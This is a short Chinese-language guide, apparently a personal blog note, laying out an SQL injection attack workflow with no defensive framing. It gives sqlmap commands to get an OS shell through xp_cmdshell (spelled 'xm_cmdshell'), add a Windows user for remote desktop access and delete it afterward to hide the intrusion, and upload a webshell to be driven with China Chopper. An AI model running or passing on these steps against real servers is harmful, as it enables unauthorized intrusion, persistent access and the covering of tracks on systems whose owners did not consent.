关于 SQL inject 流程。
确认目标
手动或使用工具探测,寻找存在漏洞的目标。
1 | ➜ ~ sqlmap -u "site url" --os-shell |
xm_cmdshell
xm_cmdshell
扩展存储过程可用,数据库用户是 DBA
,直接使用 --os-shell
,然后用以下命令添加临时账户。
1 | net user username password /add # 添加用户 |
然后用 rdesktop
远程连接即可,记得退出桌面连接后运行 net user username /del
删除添加的用户。
如果远程连接提示当前连接数超限。可做如下处理
1 | query user |
webshell
探测 Web 目录, 然后上传 webshell
:
1 | ➜ ~ sqlmap -u "site url" --file-write localWebshellPath --file-dest remotePath -v 2 |
之后利用中国菜刀连接。